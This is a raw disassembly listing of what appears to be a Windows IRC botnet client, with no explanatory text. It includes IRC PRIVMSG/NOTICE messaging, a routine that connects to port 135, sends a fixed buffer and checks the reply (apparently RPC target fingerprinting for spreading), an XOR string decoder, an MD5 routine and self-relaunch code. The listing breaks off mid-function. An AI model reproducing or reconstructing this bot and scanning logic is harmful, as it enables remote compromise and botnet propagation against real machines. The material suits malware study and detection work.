loc_4080E5:				; CODE XREF: sub_407CCD+3F6j
		lea	eax, [ebp+var_50C]
		push	eax
		call	sub_407A4E
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_40E800
		push	44h
		lea	eax, [ebp+var_30C]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_40E800
		add	esp, 1Ch
		mov	[ebp+var_30C], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_300], offset byte_424EF4
		push	1
		mov	[ebp+var_2DC], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_144]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E0], edi
		call	dword_41A0C0	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_408167
		call	dword_427274	; WSACleanup
		call	sub_404CE2
		push	esi
		call	dword_41A0F4	; ExitProcess


loc_408167:				; CODE XREF: sub_407CCD+486j
		lea	eax, [ebp+var_144]
		push	eax
		push	offset dword_41F884
		jmp	short loc_408181
; ---------------------------------------------------------------------------


loc_408175:				; CODE XREF: sub_407CCD+45j
		lea	eax, [ebp+var_244]
		push	eax
		push	offset dword_41F848


loc_408181:				; CODE XREF: sub_407CCD+4A6j
		lea	eax, [ebp+var_50C]
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4081B5
		push	esi
		lea	eax, [ebp+var_50C]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_2C8]
		call	sub_4084CC
		add	esp, 14h


loc_4081B5:				; CODE XREF: sub_407CCD+4C6j
		lea	eax, [ebp+var_50C]
		push	eax
		call	sub_407A4E
		pop	ecx


loc_4081C2:				; CODE XREF: sub_407CCD+241j
					; sub_407CCD+331j
		push	[ebp+var_18]
		call	dword_427348	; InternetCloseHandle
		push	[ebp+var_44]
		call	sub_40E4F2
		pop	ecx
		push	esi
		call	dword_41A084	; ExitThread
sub_407CCD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4081DB	proc near		; CODE XREF: sub_407CCD+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_4081F7


loc_4081E7:				; CODE XREF: sub_4081DB+1Aj
		mov	dl, byte_41FBF2
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4081E7

locret_4081F7:				; CODE XREF: sub_4081DB+Aj
		retn
sub_4081DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4081F8	proc near		; DATA XREF: sub_409034+11o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_42D2E4
		call	dword_4273AC	; closesocket
		call	sub_40E39F
		call	dword_427274	; WSACleanup
		call	dword_427274	; WSACleanup
		mov	ebx, dword_41A060
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_40E800
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_40E800
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_424EF4
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_41A0E8	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_41A078	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_41A0C0	; CreateProcessA
		test	eax, eax
		jz	short loc_4082BD
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_41A068
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_4082BD:				; CODE XREF: sub_4081F8+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_42C550
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_41A0F4	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx
sub_4081F8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4082E0	proc near		; CODE XREF: sub_408318+125p
					; sub_408318+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40830E


loc_4082F1:				; CODE XREF: sub_4082E0+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_410760
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_408314
		inc	esi
		cmp	esi, edi
		jl	short loc_4082F1


loc_40830E:				; CODE XREF: sub_4082E0+Fj
		xor	al, al


loc_408310:				; CODE XREF: sub_4082E0+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_408314:				; CODE XREF: sub_4082E0+27j
		mov	al, 1
		jmp	short loc_408310
sub_4082E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408318	proc near		; CODE XREF: sub_4014EF+9Cp
					; sub_4014EF+169p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_40EC80
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_408359
		dec	eax
		jz	short loc_408337
		dec	eax


loc_408331:				; CODE XREF: sub_408318+57j
		xor	eax, eax


loc_408333:				; CODE XREF: sub_408318+3Fj
					; sub_408318+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_408337:				; CODE XREF: sub_408318+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_427354	; inet_addr
		push	eax
		call	sub_403711
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_408333
; ---------------------------------------------------------------------------


loc_408359:				; CODE XREF: sub_408318+13j
		push	6
		push	1
		push	2
		call	dword_427394	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_408331
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_427314	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_404F02
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4272BC	; connect
		cmp	eax, edi
		jz	loc_408475
		push	ebx
		push	48h
		push	offset dword_41FAE0
		push	esi
		call	dword_427364	; send
		cmp	eax, edi
		jz	loc_408475
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_42732C	; recv
		cmp	eax, edi
		jz	loc_408475
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_408475
		push	ebx
		push	18h
		push	offset dword_41FB2C
		push	[ebp+arg_4]
		call	dword_427364	; send
		cmp	eax, edi
		jz	short loc_408475
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_42732C	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_408475
		cmp	[ebp+var_200E],	2
		jnz	short loc_408475
		push	10h
		push	offset loc_41FB48
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_4082E0
		add	esp, 10h
		test	al, al
		jz	short loc_408455
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_408475
; ---------------------------------------------------------------------------


loc_408455:				; CODE XREF: sub_408318+12Fj
		push	10h
		push	offset dword_41FB5C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_4082E0
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_408475:				; CODE XREF: sub_408318+9Bj
					; sub_408318+B2j ...
		push	[ebp+arg_4]
		call	dword_4273AC	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_408333
sub_408318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408486	proc near		; CODE XREF: sub_409802+3Dp
					; sub_40997B+1C1p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_410704
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_40E730
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_427364	; send
		leave
		retn
sub_408486	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084CC	proc near		; CODE XREF: .packed:00402C12p
					; sub_402C55+569p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_4084E7
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_4084E7:				; CODE XREF: sub_4084CC+14j
		push	edi
		call	sub_40E730
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_40E730
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset dword_41FB7C
		push	esi
		push	eax
		call	sub_40E7AB
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_41FB70
		push	eax
		call	sub_40EE10
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_40E730
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_427364	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40856A
		push	7D0h
		call	dword_41A060	; Sleep

locret_40856A:				; CODE XREF: sub_4084CC+91j
		leave
		retn
sub_4084CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40856C	proc near		; CODE XREF: sub_408FD8+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		mov	edx, ecx
		imul	edx, 0Bh
		add	edx, 67452301h
		and	dword ptr [eax+4], 0
		mov	[eax+8], edx
		mov	edx, ecx
		imul	edx, 47h
		sub	edx, 10325477h
		and	dword ptr [eax], 0
		mov	[eax+0Ch], edx
		mov	edx, ecx
		imul	edx, 25h
		imul	ecx, 61h
		sub	edx, 67452302h
		add	ecx, 10325476h
		mov	[eax+10h], edx
		mov	[eax+14h], ecx
		retn
sub_40856C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085B2	proc near		; CODE XREF: sub_408F2E+2Fp
					; sub_408FD8+1Fp

var_40		= byte ptr -40h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	edx, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	ecx, [esi]
		mov	eax, ecx
		shr	eax, 3
		lea	edi, [ecx+edx*8]
		and	eax, 3Fh
		cmp	edi, ecx
		jnb	short loc_4085D4
		inc	dword ptr [esi+4]


loc_4085D4:				; CODE XREF: sub_4085B2+1Dj
		mov	ecx, edx
		mov	[esi], edi
		shr	ecx, 1Dh
		add	[esi+4], ecx
		mov	ecx, edx
		dec	edx
		test	ecx, ecx
		jz	short loc_408640
		inc	edx
		push	ebx
		mov	[ebp+arg_0], edx


loc_4085EA:				; CODE XREF: sub_4085B2+8Bj
		mov	ecx, [ebp+arg_4]
		inc	eax
		inc	[ebp+arg_4]
		cmp	eax, 40h
		mov	cl, [ecx]
		mov	[esi+eax+17h], cl
		jnz	short loc_40863A
		push	10h
		lea	eax, [esi+1Ah]
		lea	ecx, [ebp+var_40]
		pop	edi


loc_408605:				; CODE XREF: sub_4085B2+75j
		movzx	ebx, byte ptr [eax-1]
		xor	edx, edx
		mov	dh, [eax+1]
		mov	dl, [eax]
		add	eax, 4
		shl	edx, 8
		or	edx, ebx
		movzx	ebx, byte ptr [eax-6]
		shl	edx, 8
		or	edx, ebx
		mov	[ecx], edx
		add	ecx, 4
		dec	edi
		jnz	short loc_408605
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_408644
		pop	ecx
		xor	eax, eax
		pop	ecx


loc_40863A:				; CODE XREF: sub_4085B2+48j
		dec	[ebp+arg_0]
		jnz	short loc_4085EA
		pop	ebx


loc_408640:				; CODE XREF: sub_4085B2+31j
		pop	edi
		pop	esi
		leave
		retn
sub_4085B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408644	proc near		; CODE XREF: sub_4085B2+7Fp
					; sub_408F2E+72p

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	ebx, [ecx+4]
		mov	esi, [ecx+0Ch]
		push	edi
		mov	edi, [eax]
		mov	[ebp+var_8], edi
		mov	edi, ebx
		not	edi
		and	edi, esi
		mov	esi, [ecx+8]
		mov	edx, [ecx]
		and	esi, ebx
		or	edi, esi
		add	edi, [ebp+var_8]
		lea	esi, [edi+edx-28955B88h]
		mov	edi, ebx
		mov	edx, esi
		shr	edx, 19h
		shl	esi, 7
		or	edx, esi
		mov	esi, [eax+4]
		add	edx, ebx
		mov	[ebp+var_14], esi
		mov	esi, edx
		and	edi, edx
		not	esi
		and	esi, [ecx+8]
		or	esi, edi
		mov	edi, [ecx+0Ch]
		add	esi, [ebp+var_14]
		lea	edi, [edi+esi-173848AAh]
		mov	esi, edi
		shr	esi, 14h
		shl	edi, 0Ch
		or	esi, edi
		mov	edi, [eax+8]
		add	esi, edx
		mov	[ebp+var_2C], edi
		mov	edi, esi
		mov	[ebp+arg_0], esi
		not	edi
		and	edi, ebx
		mov	ebx, esi
		and	ebx, edx
		or	edi, ebx
		mov	ebx, [ecx+8]
		add	edi, [ebp+var_2C]
		lea	ebx, [ebx+edi+242070DBh]
		mov	edi, ebx
		shr	edi, 0Fh
		shl	ebx, 11h
		or	edi, ebx
		mov	ebx, [eax+0Ch]
		add	edi, esi
		mov	[ebp+var_10], ebx
		mov	ebx, edi
		and	esi, edi
		not	ebx
		and	ebx, edx
		mov	[ebp+arg_4], edi
		or	ebx, esi
		add	ebx, [ebp+var_10]
		mov	esi, ebx
		mov	ebx, [ecx+4]
		lea	ebx, [ebx+esi-3E423112h]
		mov	esi, ebx
		shl	esi, 16h
		shr	ebx, 0Ah
		or	esi, ebx
		add	esi, edi
		mov	ebx, esi
		and	edi, esi
		not	ebx
		and	ebx, [ebp+arg_0]
		or	ebx, edi
		mov	edi, [eax+10h]
		mov	[ebp+var_44], edi
		add	ebx, edi
		lea	edx, [edx+ebx-0A83F051h]
		mov	ebx, esi
		mov	edi, edx
		shr	edi, 19h
		shl	edx, 7
		or	edi, edx
		mov	edx, [eax+14h]
		add	edi, esi
		mov	[ebp+var_C], edx
		mov	edx, edi
		and	ebx, edi
		not	edx
		and	edx, [ebp+arg_4]
		mov	[ebp+var_40], edi
		or	edx, ebx
		mov	ebx, [ebp+arg_0]
		add	edx, [ebp+var_C]
		lea	ebx, [ebx+edx+4787C62Ah]
		mov	edx, ebx
		shr	edx, 14h
		shl	ebx, 0Ch
		or	edx, ebx
		mov	ebx, [eax+18h]
		add	edx, edi
		mov	[ebp+var_20], ebx
		mov	ebx, edx
		mov	[ebp+arg_0], edx
		not	ebx
		and	ebx, esi
		and	edx, edi
		or	ebx, edx
		mov	edx, [ebp+arg_4]
		add	ebx, [ebp+var_20]
		lea	ebx, [edx+ebx-57CFB9EDh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, [ebp+arg_0]
		mov	ebx, edx
		not	ebx
		and	ebx, edi
		mov	edi, [ebp+arg_0]
		and	edi, edx
		or	ebx, edi
		mov	edi, [eax+1Ch]
		add	ebx, edi
		mov	[ebp+var_34], edi
		lea	esi, [esi+ebx-2B96AFFh]
		mov	ebx, edx
		mov	edi, esi
		shl	edi, 16h
		shr	esi, 0Ah
		or	edi, esi
		mov	esi, [eax+20h]
		add	edi, edx
		mov	[ebp+var_18], esi
		mov	esi, edi
		and	ebx, edi
		not	esi
		and	esi, [ebp+arg_0]
		mov	[ebp+var_3C], edi
		or	esi, ebx
		mov	ebx, [ebp+var_40]
		add	esi, [ebp+var_18]
		lea	ebx, [ebx+esi+698098D8h]
		mov	esi, ebx
		shr	esi, 19h
		shl	ebx, 7
		or	esi, ebx
		mov	ebx, [eax+24h]
		add	esi, edi
		mov	[ebp+var_30], ebx
		mov	ebx, esi
		and	edi, esi
		not	ebx
		and	ebx, edx
		or	ebx, edi
		mov	edi, [ebp+arg_0]
		add	ebx, [ebp+var_30]
		lea	ebx, [edi+ebx-74BB0851h]
		mov	edi, ebx
		shr	edi, 14h
		shl	ebx, 0Ch
		or	edi, ebx
		add	edi, esi
		mov	ebx, edi
		mov	[ebp+arg_0], edi
		not	ebx
		and	ebx, [ebp+var_3C]
		and	edi, esi
		or	ebx, edi
		mov	edi, [eax+28h]
		add	ebx, edi
		mov	[ebp+var_40], edi
		lea	edx, [edx+ebx-0A44Fh]
		mov	ebx, [ebp+arg_0]
		mov	edi, edx
		shr	edi, 0Fh
		shl	edx, 11h
		or	edi, edx
		mov	edx, [eax+2Ch]
		add	edi, [ebp+arg_0]
		mov	[ebp+var_28], edx
		mov	edx, edi
		and	ebx, edi
		not	edx
		and	edx, esi
		mov	[ebp+arg_4], edi
		or	edx, ebx
		mov	ebx, [ebp+var_3C]
		add	edx, [ebp+var_28]
		lea	ebx, [ebx+edx-76A32842h]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		add	edx, edi
		mov	ebx, edx
		and	edi, edx
		not	ebx
		and	ebx, [ebp+arg_0]
		or	ebx, edi
		mov	edi, [eax+30h]
		add	ebx, edi
		mov	[ebp+var_3C], edi
		lea	esi, [esi+ebx+6B901122h]
		mov	ebx, edx
		mov	edi, esi
		shr	edi, 19h
		shl	esi, 7
		or	edi, esi
		mov	esi, [eax+34h]
		add	edi, edx
		mov	[ebp+var_24], esi
		mov	esi, edi
		and	ebx, edi
		not	esi
		and	esi, [ebp+arg_4]
		or	esi, ebx
		mov	ebx, [ebp+arg_0]
		add	esi, [ebp+var_24]
		lea	ebx, [ebx+esi-2678E6Dh]
		mov	esi, ebx
		shr	esi, 14h
		shl	ebx, 0Ch
		or	esi, ebx
		add	esi, edi
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], esi
		not	[ebp+var_4]
		mov	ebx, [ebp+var_4]
		and	esi, edi
		and	ebx, edx
		or	ebx, esi
		mov	esi, [eax+38h]
		mov	[ebp+var_38], esi
		add	ebx, esi
		mov	esi, [ebp+arg_4]
		lea	ebx, [esi+ebx-5986BC72h]
		mov	esi, ebx
		shr	esi, 0Fh
		shl	ebx, 11h
		mov	eax, [eax+3Ch]
		or	esi, ebx
		add	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_1C], eax
		mov	[ebp+arg_4], esi
		and	ebx, esi
		not	[ebp+arg_4]
		mov	eax, [ebp+arg_4]
		and	eax, edi
		or	eax, ebx
		mov	ebx, [ebp+arg_0]
		add	eax, [ebp+var_1C]
		lea	edx, [edx+eax+49B40821h]
		mov	eax, edx
		shl	eax, 16h
		shr	edx, 0Ah
		or	eax, edx
		mov	edx, [ebp+var_4]
		add	eax, esi
		and	edx, esi
		and	ebx, eax
		or	edx, ebx
		mov	ebx, esi
		add	edx, [ebp+var_14]
		lea	edi, [edi+edx-9E1DA9Eh]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, [ebp+arg_4]
		add	edx, eax
		and	edi, eax
		and	ebx, edx
		or	edi, ebx
		mov	ebx, [ebp+arg_0]
		add	edi, [ebp+var_20]
		lea	ebx, [ebx+edi-3FBF4CC0h]
		mov	edi, ebx
		shr	edi, 17h
		shl	ebx, 9
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		mov	[ebp+arg_0], edi
		and	ebx, edx
		and	edi, eax
		or	ebx, edi
		add	ebx, [ebp+var_28]
		lea	esi, [esi+ebx+265E5A51h]
		mov	edi, esi
		shr	edi, 12h
		shl	esi, 0Eh
		or	edi, esi
		mov	esi, edx
		add	edi, [ebp+arg_0]
		not	esi
		and	esi, [ebp+arg_0]
		mov	ebx, edi
		and	ebx, edx
		or	esi, ebx
		mov	ebx, [ebp+arg_0]
		add	esi, [ebp+var_8]
		lea	eax, [eax+esi-16493856h]
		mov	esi, eax
		shl	esi, 14h
		shr	eax, 0Ch
		or	esi, eax
		mov	eax, [ebp+arg_0]
		add	esi, edi
		not	eax
		and	eax, edi
		and	ebx, esi
		or	eax, ebx
		add	eax, [ebp+var_C]
		lea	edx, [edx+eax-29D0EFA3h]
		mov	eax, edx
		shr	eax, 1Bh
		shl	edx, 5
		or	eax, edx
		mov	edx, edi
		add	eax, esi
		mov	ebx, edi
		not	edx
		and	ebx, eax
		and	edx, esi
		or	edx, ebx
		mov	ebx, [ebp+arg_0]
		add	edx, [ebp+var_40]
		lea	ebx, [ebx+edx+2441453h]
		mov	edx, ebx
		shr	edx, 17h
		shl	ebx, 9
		or	edx, ebx
		mov	ebx, esi
		add	edx, eax
		not	ebx
		mov	[ebp+arg_0], edx
		and	ebx, eax
		and	edx, esi
		or	ebx, edx
		add	ebx, [ebp+var_1C]
		lea	edi, [edi+ebx-275E197Fh]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, [ebp+arg_0]
		not	edi
		and	edi, [ebp+arg_0]
		mov	ebx, edx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [ebp+arg_0]
		add	edi, [ebp+var_44]
		lea	esi, [esi+edi-182C0438h]
		mov	edi, esi
		shl	edi, 14h
		shr	esi, 0Ch
		or	edi, esi
		mov	esi, [ebp+arg_0]
		add	edi, edx
		not	esi
		and	esi, edx
		and	ebx, edi
		or	esi, ebx
		mov	ebx, edx
		add	esi, [ebp+var_30]
		lea	eax, [eax+esi+21E1CDE6h]
		mov	esi, eax
		shr	esi, 1Bh
		shl	eax, 5
		or	esi, eax
		mov	eax, edx
		add	esi, edi
		not	eax
		and	eax, edi
		and	ebx, esi
		or	eax, ebx
		mov	ebx, [ebp+arg_0]
		add	eax, [ebp+var_38]
		lea	ebx, [ebx+eax-3CC8F82Ah]
		mov	eax, ebx
		shr	eax, 17h
		shl	ebx, 9
		or	eax, ebx
		mov	ebx, edi
		add	eax, esi
		not	ebx
		mov	[ebp+arg_0], eax
		and	ebx, esi
		and	eax, edi
		or	ebx, eax
		add	ebx, [ebp+var_10]
		lea	edx, [edx+ebx-0B2AF279h]
		mov	eax, edx
		shr	eax, 12h
		shl	edx, 0Eh
		or	eax, edx
		mov	edx, esi
		add	eax, [ebp+arg_0]
		not	edx
		and	edx, [ebp+arg_0]
		mov	ebx, eax
		and	ebx, esi
		or	edx, ebx
		mov	ebx, [ebp+arg_0]
		add	edx, [ebp+var_18]
		lea	edi, [edi+edx+455A14EDh]
		mov	edx, edi
		shl	edx, 14h
		shr	edi, 0Ch
		or	edx, edi
		mov	edi, [ebp+arg_0]
		add	edx, eax
		not	edi
		and	edi, eax
		and	ebx, edx
		or	edi, ebx
		mov	ebx, eax
		add	edi, [ebp+var_24]
		lea	esi, [esi+edi-561C16FBh]
		mov	edi, esi
		shr	edi, 1Bh
		shl	esi, 5
		or	edi, esi
		mov	esi, eax
		add	edi, edx
		not	esi
		and	esi, edx
		and	ebx, edi
		or	esi, ebx
		mov	ebx, [ebp+arg_0]
		add	esi, [ebp+var_2C]
		lea	ebx, [ebx+esi-3105C08h]
		mov	esi, ebx
		shr	esi, 17h
		shl	ebx, 9
		or	esi, ebx
		mov	ebx, edx
		add	esi, edi
		not	ebx
		mov	[ebp+arg_0], esi
		and	ebx, edi
		and	esi, edx
		or	ebx, esi
		add	ebx, [ebp+var_34]
		lea	eax, [eax+ebx+676F02D9h]
		mov	esi, eax
		shr	esi, 12h
		shl	eax, 0Eh
		or	esi, eax
		mov	eax, edi
		add	esi, [ebp+arg_0]
		not	eax
		and	eax, [ebp+arg_0]
		mov	ebx, esi
		and	ebx, edi
		or	eax, ebx
		add	eax, [ebp+var_3C]
		lea	edx, [edx+eax-72D5B376h]
		mov	eax, edx
		shl	eax, 14h
		shr	edx, 0Ch
		or	eax, edx
		mov	edx, [ebp+arg_0]
		add	eax, esi
		xor	edx, esi
		xor	edx, eax
		add	edx, [ebp+var_C]
		lea	edi, [edi+edx-5C6BEh]
		mov	edx, edi
		shr	edx, 1Ch
		shl	edi, 4
		or	edx, edi
		mov	edi, esi
		add	edx, eax
		xor	edi, eax
		xor	edi, edx
		add	edi, [ebp+var_18]
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebx+edi-788E097Fh]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, edx
		mov	[ebp+arg_0], edi
		xor	edi, eax
		xor	edi, edx
		mov	ebx, [ebp+arg_0]
		add	edi, [ebp+var_28]
		lea	esi, [esi+edi+6D9D6122h]
		mov	edi, esi
		shr	edi, 10h
		shl	esi, 10h
		or	edi, esi
		add	edi, ebx
		xor	ebx, edi
		mov	esi, ebx
		xor	esi, edx
		add	esi, [ebp+var_38]
		lea	eax, [eax+esi-21AC7F4h]
		mov	esi, eax
		shl	esi, 17h
		shr	eax, 9
		or	esi, eax
		add	esi, edi
		xor	ebx, esi
		add	ebx, [ebp+var_14]
		lea	edx, [edx+ebx-5B4115BCh]
		mov	ebx, [ebp+arg_0]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, edi
		add	eax, esi
		xor	edx, esi
		xor	edx, eax
		add	edx, [ebp+var_44]
		lea	edx, [ebx+edx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		mov	[ebp+arg_0], ebx
		xor	edx, esi
		xor	edx, eax
		add	edx, [ebp+var_34]
		lea	edx, [edi+edx-944B4A0h]
		mov	edi, edx
		shr	edi, 10h
		shl	edx, 10h
		or	edi, edx
		add	edi, ebx
		xor	[ebp+arg_0], edi
		mov	edx, [ebp+arg_0]
		xor	edx, eax
		add	edx, [ebp+var_40]
		lea	esi, [esi+edx-41404390h]
		mov	edx, esi
		shl	edx, 17h
		shr	esi, 9
		or	edx, esi
		mov	esi, [ebp+arg_0]
		add	edx, edi
		xor	esi, edx
		add	esi, [ebp+var_24]
		lea	esi, [eax+esi+289B7EC6h]
		mov	eax, esi
		shr	eax, 1Ch
		shl	esi, 4
		or	eax, esi
		mov	esi, edi
		add	eax, edx
		xor	esi, edx
		xor	esi, eax
		add	esi, [ebp+var_8]
		lea	ebx, [ebx+esi-155ED806h]
		mov	esi, ebx
